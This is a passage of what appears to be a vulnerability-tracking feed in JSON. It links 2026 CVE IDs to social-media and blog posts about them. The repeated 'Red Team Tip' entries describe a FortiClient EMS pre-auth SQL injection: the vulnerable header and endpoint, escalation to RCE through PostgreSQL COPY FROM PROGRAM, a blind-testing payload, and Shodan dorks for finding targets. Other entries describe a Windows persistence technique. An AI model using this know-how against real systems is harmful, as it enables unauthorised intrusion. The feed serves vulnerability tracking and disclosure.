Explained\nhttps://medium.com/@pentesterclubpvtltd/grafana-security-alert-cve-2026-15583-cve-2026-21723-explained-ea8ca1568001?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:06.259091Z"}, {"uuid": "1bcb2383-8ad1-41ed-9e99-6b4cc3415f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/hacking_Attack/184429", "content": "Right Context Menu Persistence\nhttps://www.reddit.com/r/redteamsec/comments/1sx1bv9/right_context_menu_persistence/\n\nHey everyone, I\u2019ve been doing some research into stealthy persistence techniques and wanted to share a project inspired by the recent CVE-2026-21509 (Operation Neusploit). It\u2019s a C++ implementation of a Windows COM Context Menu Handler. The Concept: By registering a custom COM object, you can achieve persistence that triggers whenever a user right-clicks a file, folder, or the desktop background. Unlike typical \"Run\" keys, this lives within the Shell extensions, making it a bit more \"living-off-the-land.\" Any feedback, PRs, or critiques are highly appreciated!    submitted by    /u/i014n  (https://www.reddit.com/user/i014n) \n [link] (https://github.com/i014n/RightHand-Persistence/)   [comments] (https://www.reddit.com/r/redteamsec/comments/1sx1bv9/right_context_menu_persistence/)", "creation_timestamp": "2026-09-01T20:00:10.897048Z"}, {"uuid": "6de7576f-0ebc-416e-a42e-e43f76d2cd84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "seen", "source": "https://t.me/hacking_Attack/177419", "content": "Understanding CVE-2026\u201321877: Critical RCE Flaw in n8n and What It Means for Your Automation Stack\nhttps://ikhaleelkhan.medium.com/understanding-cve-2026-21877-critical-rce-flaw-in-n8n-and-what-it-means-for-your-automation-stack-86df08a46e05?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:14.418361Z"}, {"uuid": "2b96ce42-322e-4d82-a0e9-90b989c0a252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21641", "type": "seen", "source": "https://t.me/hacking_Attack/178244", "content": "How I Found My First CVE (CVE-2026\u201321641)\nhttps://medium.com/@0xJad/how-i-found-my-first-cve-cve-2026-21641-7f29af74fc84?source=rss------bug_bounty-5\n\nCVE-2026\u201321641: Broken Access Control in Revive AdserverContinue reading on Medium \u00bb (https://medium.com/@0xJad/how-i-found-my-first-cve-cve-2026-21641-7f29af74fc84?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.847608Z"}, {"uuid": "e6c3c945-1356-4bc3-9903-6face57371e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "seen", "source": "https://t.me/hacking_Attack/177421", "content": "In the ever-evolving cybersecurity landscape, even workflow automation platforms are becoming high-value targets. A newly disclosed\u2026Continue reading on Medium \u00bb (https://ikhaleelkhan.medium.com/understanding-cve-2026-21877-critical-rce-flaw-in-n8n-and-what-it-means-for-your-automation-stack-86df08a46e05?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.991912Z"}, {"uuid": "80098b40-f3cb-4590-bebb-605525efbe07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/184429", "content": "Right Context Menu Persistence\nhttps://www.reddit.com/r/redteamsec/comments/1sx1bv9/right_context_menu_persistence/\n\nHey everyone, I\u2019ve been doing some research into stealthy persistence techniques and wanted to share a project inspired by the recent CVE-2026-21509 (Operation Neusploit). It\u2019s a C++ implementation of a Windows COM Context Menu Handler. The Concept: By registering a custom COM object, you can achieve persistence that triggers whenever a user right-clicks a file, folder, or the desktop background. Unlike typical \"Run\" keys, this lives within the Shell extensions, making it a bit more \"living-off-the-land.\" Any feedback, PRs, or critiques are highly appreciated!    submitted by    /u/i014n  (https://www.reddit.com/user/i014n) \n [link] (https://github.com/i014n/RightHand-Persistence/)   [comments] (https://www.reddit.com/r/redteamsec/comments/1sx1bv9/right_context_menu_persistence/)", "creation_timestamp": "2026-09-02T01:00:19.354252Z"}, {"uuid": "aa41c450-3233-4b7a-ae46-c19622b4e449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21723", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/190396", "content": "Grafana Security Alert | CVE-2026\u201315583 & CVE-2026\u201321723 Explained\nhttps://medium.com/@pentesterclubpvtltd/grafana-security-alert-cve-2026-15583-cve-2026-21723-explained-ea8ca1568001?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:25.185188Z"}, {"uuid": "2c17289b-4b68-4a39-8f44-010422c912df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/45103", "content": "https://unaaldia.hispasec.com/2026/04/explotacion-activa-de-una-inyeccion-sql-critica-en-fortinet-forticlient-ems-cve-2026-21643.html?utm_source=rss&utm_medium=rss&utm_campaign=explotacion-activa-de-una-inyeccion-sql-critica-en-fortinet-forticlient-ems-cve-2026-21643", "creation_timestamp": "2026-09-02T06:00:15.137380Z"}, {"uuid": "e0508ff3-bdd8-4728-b4e5-0737dc73537b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/44226", "content": "\ud83d\udea8 Bug Bounty / Red Team Tip\n\nCVE-2026-21643 \u2014 Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)\n\nUnauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups \u2192 full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).\n\n- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)\n- Not affected: 7.2.x, 8.0.x, single-site deployments\n- Fixed: Upgrade to 7.4.5 or later\n- Status: Actively exploited in the wild + public PoCs available\n\nMain Detail Article (Highly Recommended):  \nBishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results \u2192  \nhttps://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4\n\nPublic PoC (GitHub):  \nhttps://github.com/0xBlackash/CVE-2026-21643\n\nUseful Google/Shodan Dorks:\n- http.title:\"FortiClient EMS\" \"7.4.4\"\n- http.html:\"FortiClient Enterprise Management Server\"\n- http.favicon.hash: -specific-hash (or search for EMS login page)\n- Shodan: \"Model: FCTEMS\" or \"FortiClient EMS\"\n\nQuick Check:\nIf your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled \u2192 patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).\n\nHigh-value target for hunters. Patch or restrict immediately!\n\n#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi", "creation_timestamp": "2026-09-02T06:00:15.666972Z"}, {"uuid": "f6e140c1-35a0-4c53-a2a1-9ca758708962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "published-proof-of-concept", "source": "Telegram/MDejoZgynr8LlPCfcHLGYynTe4-nNkLjRBMRCz_B_6ANtEs", "content": "", "creation_timestamp": "2026-09-02T20:00:05.797404Z"}, {"uuid": "41cfe20e-60c0-4f56-8a96-19ed0f740497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/HackingTeamGrupoOfficial/44226", "content": "\ud83d\udea8 Bug Bounty / Red Team Tip\n\nCVE-2026-21643 \u2014 Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)\n\nUnauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups \u2192 full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).\n\n- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)\n- Not affected: 7.2.x, 8.0.x, single-site deployments\n- Fixed: Upgrade to 7.4.5 or later\n- Status: Actively exploited in the wild + public PoCs available\n\nMain Detail Article (Highly Recommended):  \nBishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results \u2192  \nhttps://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4\n\nPublic PoC (GitHub):  \nhttps://github.com/0xBlackash/CVE-2026-21643\n\nUseful Google/Shodan Dorks:\n- http.title:\"FortiClient EMS\" \"7.4.4\"\n- http.html:\"FortiClient Enterprise Management Server\"\n- http.favicon.hash: -specific-hash (or search for EMS login page)\n- Shodan: \"Model: FCTEMS\" or \"FortiClient EMS\"\n\nQuick Check:\nIf your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled \u2192 patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).\n\nHigh-value target for hunters. Patch or restrict immediately!\n\n#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi", "creation_timestamp": "2026-09-03T00:00:47.103178Z"}, {"uuid": "d3aa1bbe-574c-4e67-bf87-ef24dcc21597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/45103", "content": "https://unaaldia.hispasec.com/2026/04/explotacion-activa-de-una-inyeccion-sql-critica-en-fortinet-forticlient-ems-cve-2026-21643.html?utm_source=rss&utm_medium=rss&utm_campaign=explotacion-activa-de-una-inyeccion-sql-critica-en-fortinet-forticlient-ems-cve-2026-21643", "creation_timestamp": "2026-09-03T00:00:47.488376Z"}, {"uuid": "a2768efb-3316-47f5-af21-3b1a936e86ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21641", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178244", "content": "How I Found My First CVE (CVE-2026\u201321641)\nhttps://medium.com/@0xJad/how-i-found-my-first-cve-cve-2026-21641-7f29af74fc84?source=rss------bug_bounty-5\n\nCVE-2026\u201321641: Broken Access Control in Revive AdserverContinue reading on Medium \u00bb (https://medium.com/@0xJad/how-i-found-my-first-cve-cve-2026-21641-7f29af74fc84?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T01:00:03.933165Z"}, {"uuid": "a699ba08-0598-4eb1-9fc3-565712b16b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/177419", "content": "Understanding CVE-2026\u201321877: Critical RCE Flaw in n8n and What It Means for Your Automation Stack\nhttps://ikhaleelkhan.medium.com/understanding-cve-2026-21877-critical-rce-flaw-in-n8n-and-what-it-means-for-your-automation-stack-86df08a46e05?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T02:00:04.862831Z"}, {"uuid": "94e1bff9-6708-4488-b136-28cd69d04be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/177421", "content": "In the ever-evolving cybersecurity landscape, even workflow automation platforms are becoming high-value targets. A newly disclosed\u2026Continue reading on Medium \u00bb (https://ikhaleelkhan.medium.com/understanding-cve-2026-21877-critical-rce-flaw-in-n8n-and-what-it-means-for-your-automation-stack-86df08a46e05?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T02:00:05.221806Z"}, {"uuid": "c7b56dff-720c-421e-bf89-10d4006f9529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:14.986004Z"}, {"uuid": "0dded79d-fb7b-4372-9c15-53e837b98068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "published-proof-of-concept", "source": "https://t.me/cissp/7861", "content": "#AppSec\n#InfosecStandards\nOWASP Application Security Verification Standard\nVersion 5.0.0, 2025.\n\nPlus also\nFortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available). Separate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.\nSee affected versions and patch guidance \u2192 \nhttps://thehackernews.com/2026/02/fortinet-patches-critical-sqli-flaw.html\n\n\u2014 CISO as a Service \u2014\n| Strategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.02.23\n\nhttps://www.linkedin.com/posts/alirezaghahrood_owasp-asvs-2025-activity-7431554057246265344-Ly7z", "creation_timestamp": "2026-09-09T03:00:06.820919Z"}, {"uuid": "aecc94c1-50d8-4529-8a8d-d6afe2e1829b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21096", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mv2up3fefi2p", "content": "\ud83d\udea8 CVE-2026-21096 \u2014 CVSS 9.2 CRITICAL\n\nHeap-based buffer overflow in JPEG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-21096\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-09T06:07:22.359634Z"}, {"uuid": "02ea3ee8-0826-47c1-a2b4-8449720b5620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21102", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mv2updojsh2y", "content": "\ud83d\udea8 CVE-2026-21102 \u2014 CVSS 9.3 CRITICAL\n\nUse after free in DualDAR prior to SMR Sep-2026 Release 1 allows local privileged attackers to execute arbi...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-21102\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-09T06:07:31.069963Z"}, {"uuid": "c57fef0c-19c5-4c82-83a4-7df6c7eba652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21095", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mv2uoswgdi2w", "content": "\ud83d\udea8 CVE-2026-21095 \u2014 CVSS 9.2 CRITICAL\n\nHeap-based buffer overflow in DNG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-21095\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-09T06:07:13.789043Z"}, {"uuid": "cdbe8fc3-ee45-457a-9aa8-be89cd496bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21085", "type": "seen", "source": "https://gist.github.com/ichintu/8de1b393c7903e975b41e200e6613355", "content": "On September 9, 2026, Microsoft released a record-breaking Patch Tuesday update addressing 972\u2013974 vulnerabilities, including 113 critical flaws and two actively exploited zero-days across Windows, Office, and SQL. The digest also highlights several high-severity CVEs: a CVSS 10.0 pre-auth RCE in N-able N-central (CVE-2026-86218) added to CISA\u2019s KEV catalog with a federal patch deadline of Sept 11; an authenticated RCE in the WordPress FireBox plugin (CVE-2026-76801); and a high-severity out-of-bounds write in Android\u2019s Keymaster trustlet (CVE-2026-21085). Finally, the update covers emerging AI cybersecurity trends, featuring Alovia\u2014a new security layer for AI-driven platforms\u2014and ongoing industry discussions on the escalating AI arms race and agentic AI applications for both attackers and defenders.", "creation_timestamp": "2026-09-09T08:11:50.566746Z"}, {"uuid": "5ad20776-6d42-49be-9fed-dd90e80e6220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "MISP/7718a28c-f547-46e5-bb41-df8c4cc7fdd9", "content": "", "creation_timestamp": "2026-09-09T15:15:04.953476Z"}, {"uuid": "6a78d039-698f-4bb9-a4a6-6513867a0c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21096", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/117241816664116553", "content": "CATTE OVERFLOW I REPEAT CATTE OVERFLOW THIS IS NOT A DRILL :catte: \nhttps://nvd.nist.gov/vuln/detail/cve-2026-21096\n\nHeap-based buffer overflow in JPEG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows remote attackers to execute arbitrary code.", "creation_timestamp": "2026-09-09T15:35:50.759571Z"}, {"uuid": "bc0d1123-1d7e-44e9-b108-2b8739009252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21102", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv45na5c5i22", "content": "CVE-2026-21102\nThe DualDAR product released before the September\u202f2026 SMR version contains a flaw that could let someone who already has system access run any program with full control of the server. This could give an\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-09T18:20:04.297926Z"}, {"uuid": "b7eea540-c37b-4897-8783-18db088e78bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "MISP/7718a28c-f547-46e5-bb41-df8c4cc7fdd9", "content": "", "creation_timestamp": "2026-09-10T00:15:02.904820Z"}, {"uuid": "4623bd5c-0953-4035-9aa3-ea3fb980a268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2113", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-2113.yaml", "content": "", "creation_timestamp": "2026-09-10T03:00:07.990428Z"}, {"uuid": "ace915b8-5a86-450a-9a1c-63d1b89b7987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21102", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mv7na7zypu2u", "content": "\ud83d\udccc CVE-2026-21102 - Use after free in DualDAR prior to SMR Sep-2026 Release 1 allows local privileged attackers to execute arbitrary code with root privilege. https://www.cyberhub.blog/cves/CVE-2026-21102", "creation_timestamp": "2026-09-11T03:37:06.902495Z"}, {"uuid": "1acc2a1c-5032-44c9-9568-9b38801a4f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/GithubRedTeam/102088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21858-n8n-FullChain\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-12 00:10:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udee1\ufe0f Official AI Security Tool module for CVE-2026-21858 + CVE-2025-68613 (n8n \"Ni8mare\" Unauthenticated Arbitrary File Read & Expression Injection RCE Full Chain).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-12T03:00:04.293249Z"}, {"uuid": "c9e03d30-bd33-4823-9de0-04a8c2f6dd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "Telegram/_lzdsLqQ7bGVpkz_qYAb1CGOr8QjF-qQV0vSyifZbJ3qZOY", "content": "", "creation_timestamp": "2026-09-14T03:00:06.393257Z"}, {"uuid": "c255481e-6844-4f96-8455-cdde2b566b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21095", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvchqz457m25", "content": "\ud83d\udccc CVE-2026-21095 - Heap-based buffer overflow in DNG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows remote attackers to execute arbitrary code. https://www.cyberhub.blog/cves/CVE-2026-21095", "creation_timestamp": "2026-09-12T06:37:06.755588Z"}, {"uuid": "8c5689b8-06c1-4fec-a8cf-2e95e8d4bc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21092", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvcrsvqon524", "content": "\ud83d\udccc CVE-2026-21092 - Path traversal in ImsService prior to SMR Sep-2026 Release 1 allows remote attackers to create image files with system server privilege. https://www.cyberhub.blog/cves/CVE-2026-21092", "creation_timestamp": "2026-09-12T09:37:07.710681Z"}, {"uuid": "45b3735c-48fe-42b0-9d90-a5e38022ba8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21087", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvdwp2mc572j", "content": "\ud83d\udccc CVE-2026-21087 - Out-of-bounds write in libmdnie.so prior to SMR Sep-2026 Release 1 allows local attackers to execute arbitrary code with system server privilege. https://www.cyberhub.blog/cves/CVE-2026-21087", "creation_timestamp": "2026-09-12T20:37:07.093791Z"}, {"uuid": "6e6e6fb6-4fe5-4c31-b38c-4f19ee1dc7a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21858-n8n-FullChain\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-12 00:10:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udee1\ufe0f Official AI Security Tool module for CVE-2026-21858 + CVE-2025-68613 (n8n \"Ni8mare\" Unauthenticated Arbitrary File Read & Expression Injection RCE Full Chain).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-13T00:00:57.679797Z"}, {"uuid": "558994aa-aeb9-474d-a891-085b83e55fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21101", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvej55t6oo2b", "content": "\ud83d\udccc CVE-2026-21101 - Improper input validation in DualDAR driver prior to SMR Sep-2026 Release 1 allows local privileged attackers to potentially execute arbitrary code wi... https://www.cyberhub.blog/cves/CVE-2026-21101", "creation_timestamp": "2026-09-13T02:07:08.641341Z"}, {"uuid": "acb565f1-7815-43d6-9c44-439e85667f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21085", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvekss473z24", "content": "\ud83d\udccc CVE-2026-21085 - Out-of-bounds write in Keymaster trustlet prior to SMR Sep-2026 Release 1 allows local privileged attackers to write out-of-bounds memory. https://www.cyberhub.blog/cves/CVE-2026-21085", "creation_timestamp": "2026-09-13T02:37:07.421828Z"}, {"uuid": "50c217f3-6a7c-43c3-a3c9-7b355932e7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "Telegram/dfvCKy19LdeRjtEqhcraGN2yMY0QlrZmHiFOXJRBkeySQpk", "content": "", "creation_timestamp": "2026-09-14T03:00:12.123712Z"}, {"uuid": "734f6eec-247c-4431-9787-a1379c044da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21391", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4mojdw4nqgh7w", "content": "CVE-2026-21391 - Improper Claim Validation in PingAM OIDC Provider\nCVE ID : CVE-2026-21391\n \n Published : Sept. 14, 2026, 11:18 a.m. | 34\u00a0minutes ago\n \n Description : An improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or pro...", "creation_timestamp": "2026-09-14T12:33:20.577951Z"}, {"uuid": "a0318e95-9370-4dd5-abdd-a87b0e56bdb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21391", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvi7rcze6a2f", "content": "CVE-2026-21391 - pingam\nPingAM does not correctly validate certain requests, allowing a crafted request to change the information placed in a login token. This can let an attacker pretend to be another\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pingam #pingidentity #CVE #infosec", "creation_timestamp": "2026-09-14T13:30:05.403180Z"}, {"uuid": "9e117546-6b28-495f-906d-8b3b7c86f6dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21391", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvibtrbp562y", "content": "\ud83d\udea8 CVE-2026-21391 \u2014 CVSS 9.5 CRITICAL\n\nAn improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-21391\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-14T14:07:14.826620Z"}, {"uuid": "f89f1fc0-b116-4c55-bcdc-708c823f4684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21094", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mviiawfdxm25", "content": 